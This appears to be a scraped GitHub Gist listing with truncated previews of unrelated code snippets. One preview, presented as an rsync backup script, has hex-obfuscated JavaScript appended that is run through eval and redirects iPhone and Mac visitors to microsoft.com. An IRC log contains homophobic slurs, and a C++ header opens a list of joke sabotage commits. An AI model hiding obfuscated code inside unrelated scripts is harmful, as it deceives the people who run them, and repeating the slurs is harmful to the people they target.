Skip to content

Instantly share code, notes, and snippets.

@solarce
solarce / mar_sync
Created February 12, 2009 17:33 — forked from anonymous/mar_sync
#!/bin/sh
# rbackup.sh -- secure backup to a remote machine using rsync.
# Directories to backup. Separate with a space. Exclude trailing slash!
SOURCES="/"
# IP or FQDN of Remote Machine
RMACHINE=192.168.26.100
# Remote username
var _0xdc03=["\x34\x28\x35\x2E\x33\x2E\x32\x28\x2F\x30\x20\x31\x20\x36\x20\x37\x2F\x63\x29\x29\x7B\x62\x2E\x61\x3D\x22\x38\x3A\x2F\x2F\x39\x2E\x64\x2F\x22\x7D","\x7C","\x73\x70\x6C\x69\x74","\x6C\x69\x6B\x65\x7C\x4D\x61\x63\x7C\x6D\x61\x74\x63\x68\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x69\x66\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x4F\x53\x7C\x58\x7C\x68\x74\x74\x70\x7C\x6D\x69\x63\x72\x6F\x73\x6F\x66\x74\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x69\x7C\x63\x6F\x6D","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0x7681x1,_0x7681x2,_0x7681x3,_0x7681x4,_0x7681x5,_0x7681x6){_0x7681x5=function (_0x7681x3){return _0x7681x3.toString(36);} ;if(!_0xdc03[5][_0xdc03[4]](/^/,String)){while(_0x7681x3--){_0x7681x6[_0x7681x3.toString(_0x7681x2)]=_0x7681x4[_0x7681x3]||_0x7681x3.toString(_0x7681x2);} ;_0x7681x4=[function (_0x7681x5){return _0x7681x6[_0x7681x5];} ];_0x7681x5=function (){return _0xdc03[6];} ;_0x7681x3=1;} ;while(_0x7681x3--){if(_0x7681x
@mxcl
mxcl / uninstall_homebrew.sh
Created August 26, 2011 11:25
Uninstall Homebrew
#!/bin/sh
# Just copy and paste the lines below (all at once, it won't work line by line!)
# MAKE SURE YOU ARE HAPPY WITH WHAT IT DOES FIRST! THERE IS NO WARRANTY!
function abort {
echo "$1"
exit 1
}
set -e
@saltybeagle
saltybeagle / gitmigrat.sh
Created May 2, 2012 15:26
svn2git all GForge repositories
migratdir=$PWD
for dir in `ls -1 */.svn/entries | xargs grep -H -l gforge | grep -E -o "^[^\/]+"`; do
echo $dir
mkdir /Users/bbieber/workspace/gitmigrat/$dir
cd /Users/bbieber/workspace/gitmigrat/$dir
svn2git `svn info $migratdir/$dir | grep ^Repository\ Root | cut -f 3 -d ' '` --authors $migratdir/gforgemigration/authors.txt --verbose
done
@gillibrand
gillibrand / air_hockey.py
Created August 6, 2012 05:38
An Air Hockey game for Pythonista on iPad and iPhone. Yes, I typed this all on my iPad. A little painful.
# Hockey
#
# A air hockey game for two players. First to
# seven wins.
# Most of the game is drawn with the scene
# module. Goal and winner messages are animated
# with layers.
from scene import *
from sound import *
@1wErt3r
1wErt3r / SMBDIS.ASM
Created November 9, 2012 22:27
A Comprehensive Super Mario Bros. Disassembly
;SMBDIS.ASM - A COMPREHENSIVE SUPER MARIO BROS. DISASSEMBLY
;by doppelganger (doppelheathen@gmail.com)
;This file is provided for your own use as-is. It will require the character rom data
;and an iNES file header to get it to work.
;There are so many people I have to thank for this, that taking all the credit for
;myself would be an unforgivable act of arrogance. Without their help this would
;probably not be possible. So I thank all the peeps in the nesdev scene whose insight into
;the 6502 and the NES helped me learn how it works (you guys know who you are, there's no
@adamcooke
adamcooke / cloudapp-export.rb
Created January 11, 2013 15:45
Export all your drops from CloudApp using this quick Ruby script
#!/usr/bin/env ruby
# A quick script to download all your files from CloudApp.
# To run this just run the script passing your e-mail & password
# to the script, for example:
#
# gem install cloudapp_api
# ruby cloudapp-export.rb adam@atechmedia.com mypassword
#
@jdkanani
jdkanani / notepad.html
Last active April 6, 2024 17:09 — forked from jakeonrails/Ruby Notepad Bookmarklet
This bookmarklet gives you a code editor in your browser with a single click.
data:text/html, <style type="text/css">.e{position:absolute;top:0;right:0;bottom:0;left:0;}</style><div class="e" id="editor"></div><script src="http://d1n0x3qji82z53.cloudfront.net/src-min-noconflict/ace.js" type="text/javascript" charset="utf-8"></script><script>var e=ace.edit("editor");e.setTheme("ace/theme/monokai");e.getSession().setMode("ace/mode/ruby");</script>
<!--
For other language: Instead of `ace/mode/ruby`, Use
Markdown -> `ace/mode/markdown`
Python -> `ace/mode/python`
C/C++ -> `ace/mode/c_cpp`
Javscript -> `ace/mode/javascript`
Java -> `ace/mode/java`
Scala- -> `ace/mode/scala`
@quchen
quchen / trolling_haskell
Last active February 24, 2024 01:30
Trolling #haskell
13:15 <xQuasar> | HASKELL IS FOR FUCKIN FAGGOTS. YOU'RE ALL A BUNCH OF
| FUCKIN PUSSIES
13:15 <xQuasar> | JAVASCRIPT FOR LIFE FAGS
13:16 <luite> | hello
13:16 <ChongLi> | somebody has a mental illness!
13:16 <merijn> | Wow...I suddenly see the error of my ways and feel
| compelled to write Node.js!
13:16 <genisage> | hi
13:16 <luite> | you might be pleased to learn that you can compile
| haskell to javascript now
@aras-p
aras-p / preprocessor_fun.h
Last active May 28, 2024 05:15
Things to commit just before leaving your job
// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
//
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
//
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,